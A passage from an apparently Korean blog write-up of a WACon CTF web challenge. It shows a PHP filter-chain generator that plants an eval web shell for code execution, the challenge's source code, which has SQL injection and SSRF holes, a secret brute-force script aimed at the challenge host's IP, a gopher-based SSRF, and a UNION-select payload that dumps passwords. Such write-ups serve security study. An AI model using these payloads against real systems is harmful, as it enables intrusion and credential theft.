    'P' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'Q' : 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
    'R' : 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
    'S' : 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
    'T' : 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
    'U' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'V' : 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
    'W' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'X' : 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
    'Y' : 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
    'Z' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
    'a' : 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
    'b' : 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
    'c' : 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
    'd' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'e' : 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
    'f' : 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    'g' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
    'h' : 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
    'i' : 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
    'j' : 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
    'k' : 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
    'l' : 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
    'm' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
    'n' : 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
    'o' : 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
    'p' : 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
    'q' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
    'r' : 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
    's' : 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
    't' : 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
    'u' : 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
    'v' : 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932',
    'w' : 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
    'x' : 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
    'y' : 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'z' : 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
}


# generate some garbage base64
filters = &quot;convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|&quot;
filters += &quot;convert.base64-encode|&quot;
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += &quot;convert.iconv.UTF8.UTF7|&quot;


for c in base64_payload[::-1]:
        filters += conversions[c] + &quot;|&quot;
        # decode and reencode to get rid of everything that isn't valid base64
        filters += &quot;convert.base64-decode|&quot;
        filters += &quot;convert.base64-encode|&quot;
        # get rid of equal signs
        filters += &quot;convert.iconv.UTF8.UTF7|&quot;

filters += &quot;convert.base64-decode&quot;

final_payload = f&quot;php://filter/{filters}/resource={file_to_use}&quot;

#r = requests.get(url, params={
#    &quot;0&quot;: command,
#    &quot;fun_004ded7246&quot;: final_payload
#})

print(final_payload)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같은 코드를 통해 php backdoor 코드를 생성할 수 있습니다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;966&quot; data-origin-height=&quot;817&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3TNFd/btrFWyaJjMM/291acsdDFfswUy0UibIZe1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3TNFd/btrFWyaJjMM/291acsdDFfswUy0UibIZe1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3TNFd/btrFWyaJjMM/291acsdDFfswUy0UibIZe1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3TNFd%2FbtrFWyaJjMM%2F291acsdDFfswUy0UibIZe1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;966&quot; height=&quot;817&quot; data-origin-width=&quot;966&quot; data-origin-height=&quot;817&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성한 payload를 입력하면 rce가 가능해집니다.&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre id=&quot;code_1656345414752&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php

$FLAG = &quot;[+] &amp;lt;strong&amp;gt;NEXT FLAG LOCATION:&amp;lt;/strong&amp;gt; ./internal_1d607d2c193b.php&quot;;

if ($_SERVER[&quot;REMOTE_ADDR&quot;] !== &quot;127.0.0.1&quot;) {
    $FLAG=&quot;from localhost only !&quot;;
}


?&amp;gt;
&amp;lt;main role=&quot;main&quot; class=&quot;container&quot;&amp;gt;
&amp;lt;h1 class=&quot;mt-5&quot;&amp;gt;FLAG ?&amp;lt;/h1&amp;gt;
&amp;lt;p class=&quot;lead&quot;&amp;gt;&amp;lt;?php print_r($FLAG); ?&amp;gt; &amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;internal_e0134cd5a917.php가 있어 확인해보니 단순히 internal_1d607d2c193b.php로 가라고 얘기해 주었습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1656345547895&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php

error_reporting(0);

require_once('./db2.php');

$out = &quot;&quot;;

if (!isset($_SERVER['PHP_AUTH_USER'])) {
    header('WWW-Authenticate: Basic realm=&quot;Private&quot;');
    header('HTTP/1.0 401 Unauthorized');
    die('Header `Authorization: Basic is not set, Sorry :)!');
} 

else {
	if (empty($_POST)){die('POST EMPTY!');} 
		
		$username = trim($_SERVER['PHP_AUTH_USER']);
		$password = trim($_SERVER['PHP_AUTH_PW']);
		$out= $username;
	    $sql = &quot;SELECT * FROM auth_user WHERE login='&quot;. $username .&quot;' and password='&quot;. $password .&quot;'&quot;;
	    $res = $conn-&amp;gt;query($sql);
	    if($res) {
	    	if($res-&amp;gt;num_rows == 0){die('SQL : user not found');}
	    	if($_SERVER['REMOTE_ADDR']!='127.0.0.1') die('from localhost only !');
	        $user = $res-&amp;gt;fetch_assoc();
	        $data = $user[&quot;login&quot;];
	        $out = &quot;Hello $data&amp;lt;/br&amp;gt;PART 2 FLAG: _ffabcdbc}&quot;;
	    } else {
	        $out = &quot;Error message : &quot;.$conn-&amp;gt;error;
	    }
}
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;part2 flag가 들어있었고 sqli가 터지는 것을 발견할 수 있었습니다. 그래서 db에 플래그가 존재할 것이라고 생각하여 아까 생성한 backdoor code가&lt;/p&gt;
&lt;pre id=&quot;code_1656346009369&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php eval($_GET[1]);?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;db와 연결하고 sql query를 실행해 주는 코드를 입력하였습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1656346021224&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;require_once(%27/var/www/html/db.php%27);$sql=&quot;select%20*%20from%20users&quot;;$res=$conn-&amp;gt;query($sql);$user=$res-&amp;gt;fetch_assoc();var_dump($user);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이와 같이 입력하여 part1 플래그까지 구했습니다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;832&quot; data-origin-height=&quot;203&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cBelZb/btrFT2D8leA/exui8jwOpPS6fPKnDPawGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cBelZb/btrFT2D8leA/exui8jwOpPS6fPKnDPawGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cBelZb/btrFT2D8leA/exui8jwOpPS6fPKnDPawGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcBelZb%2FbtrFT2D8leA%2Fexui8jwOpPS6fPKnDPawGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;832&quot; height=&quot;203&quot; data-origin-width=&quot;832&quot; data-origin-height=&quot;203&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag: WACon{Try_using_Gophhhher_ffabcdbc}&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;intend 풀이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1656346276418&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;function valid_url($url)
{
    $valid = False;
    $res=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
    if (!$res) $valid = True;
    try{ parse_url($url); }
    catch(Exception $e){ $valid = True;}
    $int_ip=ip2long(gethostbyname(parse_url($url)['host']));
    return $valid 
            || ip2long('127.0.0.0') &amp;gt;&amp;gt; 24 == $int_ip &amp;gt;&amp;gt; 24 
            || ip2long('10.0.0.0') &amp;gt;&amp;gt; 24 == $int_ip &amp;gt;&amp;gt; 24 
            || ip2long('172.16.0.0') &amp;gt;&amp;gt; 20 == $int_ip &amp;gt;&amp;gt; 20 
            || ip2long('192.168.0.0') &amp;gt;&amp;gt; 16 == $int_ip &amp;gt;&amp;gt; 16 
            || ip2long('0.0.0.0') &amp;gt;&amp;gt; 24 == $int_ip &amp;gt;&amp;gt; 24;
}

function get_data($url)
{

    if (valid_url($url) === True) { return &quot;IP not allowed or host error&quot;; }

    $ch = curl_init();
    $timeout = 7;
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
    curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    $data = curl_exec($ch);

    if (curl_error($ch))
    {
        curl_close($ch);
        return &quot;Error !&quot;;
    }

    curl_close($ch);
    return $data;
}

function gen($user){
    return substr(sha1((string)rand(0,getrandmax())),0,20);
}

if(!isset($_SESSION['X-SECRET'])){ $_SESSION[&quot;X-SECRET&quot;] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie(&quot;USER&quot;,$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie(&quot;X-TOKEN&quot;,hash(&quot;sha256&quot;, $_SESSION['X-SECRET'].&quot;guest&quot;)); }

$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);

$out = &quot;&quot;;

if (isset($_POST['url']) &amp;amp;&amp;amp; !empty($_POST['url']))
{
    if ( 
        $IP === &quot;127.0.0.1&quot; 
        &amp;amp; $_COOKIE['X-TOKEN'] === hash(&quot;sha256&quot;, $_SESSION['X-SECRET'].$_COOKIE['USER']) 
        &amp;amp; strpos($_COOKIE['USER'], 'admin') !== false 
    )
    {
        $out = get_data($_POST['url']);
    }
    else
    {
        $out = &quot;Only the administrator can test this function from 127.0.0.1!&quot;;
    }

}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;curl 요청을 보내려면 3가지 조건을 만족해야합니다. $SERVER['HTTP_X_HTTP_HOST_OVERRIDE']가 127.0.0.1 이어야하고 $_COOKIE['USER']가 admin이어야하며 $_COOKIE['X-TOKEN']이 hash(&quot;sha256&quot;, $_SESSION['X-SECRET'].$_COOKIE['USER'])이 $COOKIE['X-TOKEN']과 같아야합니다. 마지막 조건을 만족되기 위해서는 X-SECRET을 알아내는 방법과 hash length extension attack이 있습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫째, hash length extension attack&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. Key의 길이를 알아야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. salt + msg의 형태&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. salt + msg의 hash값을 알아야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000;&quot;&gt;4. 해&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000;&quot;&gt;시 알고리즘의 종류가 Merkle-Damgard construction에 기반한 것들(MD5, SHA-1, SHA-2, SHA-256~~)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 조건들을 모두 만족하기에 공격이 가능합니다. hashpump라는 tool을 이용하여 payload를 작성했습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1238&quot; data-origin-height=&quot;53&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PuQGC/btrFZ0yXNeX/KUxbWdVEU7G8cEwmUkVszk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PuQGC/btrFZ0yXNeX/KUxbWdVEU7G8cEwmUkVszk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PuQGC/btrFZ0yXNeX/KUxbWdVEU7G8cEwmUkVszk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPuQGC%2FbtrFZ0yXNeX%2FKUxbWdVEU7G8cEwmUkVszk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1238&quot; height=&quot;53&quot; data-origin-width=&quot;1238&quot; data-origin-height=&quot;53&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;둘째, X-SECRET 알아내기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;X-SECRET이 구해지는 이유는 경우의 수가 2147483647밖에 안되기에 일정량의 레인보우 테이블을 만들고 X-TOKEN이 없으면 X-SECRET을 reset해주기에 계속 reset시켜 레인보우 테이블에 들어있는 hash값을 찾으면 되기에 꾀나 빠르게 찾을 수 있습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;레인보우 테이블 생성 코드&lt;/p&gt;
&lt;pre id=&quot;code_1656346650761&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import hashlib
from threading import Thread


fp = open(&quot;res2.txt&quot;, &quot;w&quot;)

def work(start, end):
    for i in range(start, end):
        secret = hashlib.sha1(str(i)).hexdigest()[:20]
        res = hashlib.sha256(secret+&quot;guest&quot;).hexdigest()
        fp.write(secret + &quot; &quot; + res +&quot;\n&quot;)
 
if __name__ == &quot;__main__&quot;:
    START, END = 0, 2147483648
    half = END // 2
    half_l = END // 4
    half_r = half + half_l
    th1 = Thread(target=work, args=(START, half_l))
    th2 = Thread(target=work, args=(half_l, half))
    th3 = Thread(target=work, args=(half, half_r))
    th4 = Thread(target=work, args=(half_r, END))
    
    th1.start()
    th2.start()
    th3.start()
    th4.start()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;레인보우 테이블에 있는 hash 찾는 코드&lt;/p&gt;
&lt;pre id=&quot;code_1656346693021&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import requests


r = requests.session()
cookies = {&quot;PHPSESSID&quot;:&quot;5nm666jfdlolpcvo89pa284ue6&quot;, &quot;USER&quot;:&quot;admin&quot;}
headers = {&quot;X-HTTP-HOST-OVERRIDE&quot;:&quot;127.0.0.1&quot;}

secret = &quot;47ada67c854c6afb4283&quot;

fp = open('res2.txt','r')
data =fp.read()
print 1
while True:
    r.get(&quot;http://114.203.209.112:8000/logout.php&quot;, headers=headers, cookies=cookies)
    r.post(&quot;http://114.203.209.112:8000/login.php&quot;, headers=headers, cookies=cookies, data={&quot;username&quot;:&quot;guest&quot;, &quot;password&quot;:&quot;guest&quot;})
    res = r.get(&quot;http://114.203.209.112:8000/index.phtml?fun_004ded7246=load&quot;, headers=headers, cookies=cookies)
    hash = res.headers['Set-Cookie'].split('=')[1]
    if hash in data:
        print hash
        break&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조건을 만족시키면 curl을 실행시킬 수 있습니다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1656346794247&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ch = curl_init();
$timeout = 7;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;load.phtml의 curl 옵션을 보면 MAXREDIRS가 1이고 FOLLOWLOCATION이 1이어서 한번 redirect 할 수 있습니다. 그래서 ip check해주는 부분은 의미가 없어집니다. 제 서버에서 Location: http://127.0.0.1:8000/internal_e0134cd5a917.php로 설정해주어 요청을 보냈습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;601&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cQrGaM/btrFT25a2CY/4ZdQADPMOKoRt6ZTTohSO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cQrGaM/btrFT25a2CY/4ZdQADPMOKoRt6ZTTohSO0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cQrGaM/btrFT25a2CY/4ZdQADPMOKoRt6ZTTohSO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcQrGaM%2FbtrFT25a2CY%2F4ZdQADPMOKoRt6ZTTohSO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;947&quot; height=&quot;601&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;601&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 결과는 Error였습니다. http://114.203.209.112:8000로도 해보았지만 curl에서 요청을 받아오지 못하는 것을 확인했습니다. 그래서 저는 gopher를 사용했습니다. gopher는 포트 80으로 해주어야 하고 \r\n은 header()에서 막기에 url encoding을 해주어야합니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;83&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mWnnR/btrFSXQPTSA/bL9JC2HPWhzBoxmcJGjURK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mWnnR/btrFSXQPTSA/bL9JC2HPWhzBoxmcJGjURK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mWnnR/btrFSXQPTSA/bL9JC2HPWhzBoxmcJGjURK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmWnnR%2FbtrFSXQPTSA%2FbL9JC2HPWhzBoxmcJGjURK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;940&quot; height=&quot;83&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;83&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;367&quot; data-origin-height=&quot;318&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvE8Vw/btrFRdNmyzP/Ol8oGUk5rAHEkqL40jrQBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvE8Vw/btrFRdNmyzP/Ol8oGUk5rAHEkqL40jrQBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvE8Vw/btrFRdNmyzP/Ol8oGUk5rAHEkqL40jrQBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvE8Vw%2FbtrFRdNmyzP%2FOl8oGUk5rAHEkqL40jrQBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;367&quot; height=&quot;318&quot; data-origin-width=&quot;367&quot; data-origin-height=&quot;318&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이와 같이 설정을 해준 후 요청을 보내보니 internal_1d607d2c193b.php로 가라고 하여서 바꿔서 요청을 보냈습니다. 요청을 보내니 401 Unauthorized Header `Authorization: Basic is not set, Sorry :)!&amp;nbsp; 가 나타나는 것을 보아 Authorization header를 추가해주어 보내줬습니다. 그 다음은 POST가 아니라기에 POST로 바꾸어 요청을 보냈습니다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;329&quot; data-origin-height=&quot;120&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eyJNRF/btrFT2cPZnl/B3hTxKINGzQDU3uOn34rn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eyJNRF/btrFT2cPZnl/B3hTxKINGzQDU3uOn34rn0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eyJNRF/btrFT2cPZnl/B3hTxKINGzQDU3uOn34rn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeyJNRF%2FbtrFT2cPZnl%2FB3hTxKINGzQDU3uOn34rn0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;329&quot; height=&quot;120&quot; data-origin-width=&quot;329&quot; data-origin-height=&quot;120&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;user not found라는 에러를 발견하고 이는 sqli가 발생할 수 있겠다 싶어 공격을 해보았더니 가능했고 union select를 통해 information_schema를 데이터를 뽑고 table_name과 column_name들을 알아내어 최종적으로 -1' union select 1,group_concat(password),1 from auth_user#:123 라는 payload로 플래그를 뽑았습니다.&amp;nbsp;&lt;/p&gt;
